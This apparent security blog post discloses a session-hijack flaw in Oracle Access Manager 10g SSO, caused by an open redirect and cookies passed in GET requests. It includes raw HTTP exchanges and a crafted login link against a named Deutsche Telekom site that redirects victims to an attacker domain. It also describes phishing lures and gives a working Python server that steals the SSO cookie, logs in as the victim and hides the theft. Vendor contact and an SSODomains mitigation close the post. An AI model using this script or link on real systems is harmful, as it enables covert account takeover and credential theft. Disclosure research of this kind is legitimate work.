GET /obrar.cgi?cookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D%20redirectto=%252Fprotected%252F%20ssoCookie=httponly HTTP/1.1
Accept: text/html, application/xhtml+xml, /
Referer: http://someotherdomain.com/oam/server/obrareq.cgi?wh%3Dalpha%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Falpha%20ru%3D%252Fprotected%252F
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Cookie: ObSSOCookie=loggedoutcontinue
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Cache-Control: no-cache
Host: somewebsite.com

HTTP/1.1 302 Redirect
Content-Length: 0
Location: /protected/
Server: Microsoft-IIS/7.5
Set-Cookie: ObSSOCookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D;httponly; path=/
X-Powered-By: ASP.NET
Date: Fri, 09 Mar 2012 16:14:22 GMT

GET /protected/ HTTP/1.1
Accept: text/html, application/xhtml+xml, /
Referer: http://someotherdomain.com/oam/server/obrareq.cgi?wh%3Dalpha%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Falpha%20ru%3D%252Fprotected%252F
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Cookie: ObSSOCookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Cache-Control: no-cache
Host: somewebsite.com

HTTP/1.1 200 OK
Cache-Control: no-cache,private
Pragma: no-cache
Content-Type: text/html
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 09 Mar 2012 16:14:22 GMT
Content-Length: 2495

So far the crash course in Oracle Authentication Manager, we can move on to the juicy stuff.

Hijacking the session

You might have noticed some obvious red flags in the request/response flow demonstrated above.

• The parameter called rh=, which is the domain of the protected resource.
• The cookie that is sent via a GET request...

Yes... in the GET request...

Now the challenge is to steal that cookie value and hijack the user's session.
But according to Oracle documentation the OAM server validates whether the resource is protected or not therefore asking a resource that doesn't exist should fail on first glance...

Let's craft our own request to send to the OAM server:

https://<some domain>/oam/server/obrareq.cgi?wh=<some_internal_domain> wu=<some_webpage> wo=1 rh=http://localhost ru=/this/does/not/exist.html

Our request will ask the OAM server to give us access to http://localhost/this/does/not/exist.html which doesn't exist at all...
Instead of complaining the OAM server redirects us to the login screen and asks for our credentials... this looks promising :)

We received an OAMREQ cookie from the OAM server, this will be used by the OAM server to determine where to send the user after successful authentication!

However still having a lot of doubt that this will work, because why would OAM Server give us a valid set of cookies to authenticate against a non-existing resource...

Anyway we submitted our credentials...

To our surprise we get a redirect from the OAM server to something like:

http://localhost/obrar.cgi?cookie=<LOOOOOOONG_COOKIE_VALUE>

Wait... did we just receive a cookie for a non-existing resource??

Maybe we just received a cookie only to work for http://localhost and the cookie wouldn't work on the real resource...

We changed the GET request from http://localhost/obrar.cgi?cookie=<LOOOOOOONG_COOKIE_VALUE> to http://<valid_domain_of_proteced_resource>/obrar.cgi?cookie=<LOOOOOOONG_COOKIE_VALUE>

AAAAAND we're in.

HTTP/1.1 200 OK
Cache-Control: no-cache,private
Pragma: no-cache
Content-Type: text/html
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 09 Mar 2017 14:14:22 GMT
Content-Length: 2495

OK, so there are 2 "vulnerabilities" here...

• Open Redirect (user gets redirected after submitting credentials)
• Cookie value in GET request (saved on log files of the web server)

Since we can control where the user has to go and since we also can read the cookie value that is coming from the user we can hijack his session...

All we have to do is entice the victim to click on the link that we provide him and log in, since he's logging in on the real login portal we are not raising any suspicion.
If the user is already logged-in we will get his cookie without a problem and the victim won't notice a thing!!

Global Exposure

It started us thinking maybe this might be a stand-alone case of misconfiguration and this would be impossible to abuse on another OAM 10g setup.

Boy were we wrong about that statement...

We found hundreds of hundreds of high profile organisation with the same misconfiguration, all of them exposed against session hijacking. We analyzed 100 high profile domains and only 1 was properly secured against this attack! Unfortunately we cannot share the domains that are affected, but if you look for it you'll be able to find them.

We started looking for an organisation that used OAM SSO scheme with a similar setup and had a bug bounty program running. We quickly stumbled upon https://my.telekom.ro which is from Deutsche Telekom.

Users that want to access my.telekom.ro website get a redirect that looks as follows:
https://my.telekom.ro/oam/server/obrareq.cgi?wh%3DIAMSuiteAgent+wu%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+wo%3DGET+rh%3Dhttps%3A%2F%2Fmy.telekom.ro%3A443%2Fms_oauth%2Foauth2%2Fui%2Foauthservice+ru%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+rq%3Dresponse_type%253dcode%26client_id%253d98443c86e4cb4f9898de3f3820f8ee3c%26redirect_uri%253dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%26scope%253dUserProfileAntenaPlay.me%26oracle_client_name%253dAntenaPlay

Clicking on the link above will redirect the user to:
https://my.telekom.ro/ssologin/ssologin.jsp?contextType=external&username=string&OverrideRetryLimit=0&contextValue=%2Foam&password=sercure_string&challenge_url=https%3A%2F%2Fmy.telekom.ro%2Fssologin%2Fssologin.jsp&request_id=-9056979784527554593&authn_try_count=0&locale=nl_NL&resource_url=https%253A%252F%252Fmy.telekom.ro%253A443%252Fms_oauth%252Foauth2%252Fui%252Foauthservice%252Fshowconsent%253Fresponse_type%25253Dcode%252526client_id%25253D98443c86e4cb4f9898de3f3820f8ee3c%252526redirect_uri%25253Dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%252526scope%25253DUserProfileAntenaPlay.me%252526oracle_client_name%25253DAntenaPlay

Where the user has to submit his credentials in order to gain access to his information. If we change the first request as follows:

https://my.telekom.ro/oam/server/obrareq.cgi?wh%3DIAMSuiteAgent+wu%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+wo%3DGET+rh%3Dhttp%3A%2F%2Four_malicious_domain%2Fms_oauth%2Foauth2%2Fui%2Foauthservice+ru%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+rq%3Dresponse_type%253dcode%26client_id%253d98443c86e4cb4f9898de3f3820f8ee3c%26redirect_uri%253dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%26scope%253dUserProfileAntenaPlay.me%26oracle_client_name%253dAntenaPlay

We entice the victim (e.g. via phishing mail) to click on the link (which on first sight looks perfectly legitimate), it is important to note that all SSL communication remains intact, we are not setting up any other website to capture credentials like in a traditional phishing campaign.
He/she will be redirected to the login page and will be asked to submit their credentials. After submitting the credentials the server will reply back with a HTTP 302 redirect pointing to http://our_malicious_domain.

Our webserver on "http://our_malicious_domain" will steal the users cookie and use it log in on his account and finally our webserver will send a redirect to the victim with the same cookie information to the appropriate domain.
The result is that both the attacker and the victim are logged in, both sessions are independent from each other and most importantly the victim will never notice that something is wrong.

Proof-of-Concept Webserver Script

#!/usr/bin/env python
"""
Oracle OAM 10g Session Hijack

usage: Oracle_PoC.py -d redirect_domain

Default browser will be used to open browser tabs

PoC tested on Windows 10 x64 using Internet Explorer 11

positional arguments:

"""
import SimpleHTTPServer
import SocketServer
import sys
import argparse
import webbrowser
import time

def redirect_handler_factory(domain):
    class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
       def do_GET(self):
			if self.path.endswith("httponly") or self.path.endswith("%252F") or  self.path.endswith("do") or self.path.endswith("adfAuthentication"):
				webbrowser.open_new("https://" + domain) #Load website in order to retrieve any other cookies needed to login properly
				time.sleep( 5 )
				webbrowser.open("https://"+ domain +"/" + self.path, new=0, autoraise=True) #Use received cookie to login on to the website
				time.sleep( 5 )
				self.send_response(301)
				self.send_header('Location','https://'+ domain +'/'+ self.path) #Send same cookie to the victim and let him log-in as well, to not raise any suspicion ;)
				self.end_headers()
				return
			else:
                            print self.path
    return RedirectHandler
           

def main():

    parser = argparse.ArgumentParser(description='Oracle Webgate 10g Session Hijacker')

    parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on')
    parser.add_argument('--ip', '-i', action="store", default="0.0.0.0", help='host interface to listen on')
    parser.add_argument('--domain','-d', action="store", default="localhost", help='domain to redirect the victim to')

    myargs = parser.parse_args()
    
    port = myargs.port
    host = myargs.ip
    domain = myargs.domain

    redirectHandler = redirect_handler_factory(domain)
    
    handler = SocketServer.TCPServer((host, port), redirectHandler)
    print("serving at port %s" % port)
    handler.serve_forever()

if __name__ == "__main__":
    main()

Feel free to modify the code to you needs, I didn't put the effort to make it work under all circumstances.

Proof-of-Concept Video

Mitigation

We contacted Oracle regarding this issue, and they simply pointed out that this is a configuration issue.
Their answer:

Our investigation shows that the issues had been addressed already. To
mitigate this attack, please refer to a feature called SSODomains.
More information can be found here:
http://docs.oracle.com/cd/E15586_01/doc.1111/e15478/agents.htm (search
for SSODomains) and at
http://docs.oracle.com/cd/E15586_01/doc.1111/e15478/agents.htm#BABBJHEG

If you don't define SSODomains, this effectively means you'll be able to get valid session for any domain.

CVSS rating

According to the NIST CVSSv3 calculator this vulnerability has a rating of 9.3

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N